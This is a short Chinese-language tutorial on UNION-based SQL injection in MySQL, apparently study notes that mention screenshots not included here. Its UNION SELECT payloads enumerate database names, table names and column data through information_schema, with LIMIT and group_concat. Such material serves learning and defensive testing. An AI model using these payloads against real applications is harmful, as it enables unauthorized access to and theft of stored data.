联合注入
Select * from users where id = 1;
mysql> select * from t_unv where unv_id =1 union select 1,2,schema_name from information_schema.schemata ;
这里的本来3的位置由schema_name替换,就是第二个图片中查询的所示。
这么写,就通过union select 把本来查询的东西拼接到了3的回显位置上。
mysql> select schema_name from information_schema.schemata;
Limit 是用于控制显示行数的,如图:
select * from t_unv where unv_id =1 union select 1,2,schema_name from information_schema.schemata limit 0,2;
select * from t_unv where unv_id =1 union select 1,2,schema_name from information_schema.schemata limit 2,8;
所以利用联合注入的全过程就是:
查询数据库名(schema_name里)
mysql> select * from t_unv where unv_id =1 union select 1,2,schema_name from information_schema.schemata;
mysql> select * from t_unv where unv_id =1 union select 1,2,schema_name from information_schema.schemata ;
查询指定数据库中表名
mysql> select * from t_unv where unv_id = 1 union select 1,2,group_concat(table_name) from information_Schema.tables where table_schema=database();
mysql> select group_concat(table_name) from information_schema.tables where table_schema=database();
查询表中字段
mysql> select * from t_unv where unv_id=1 union select 1,2,group_concat(unv_id,0x3a,unv_name) from t_unv;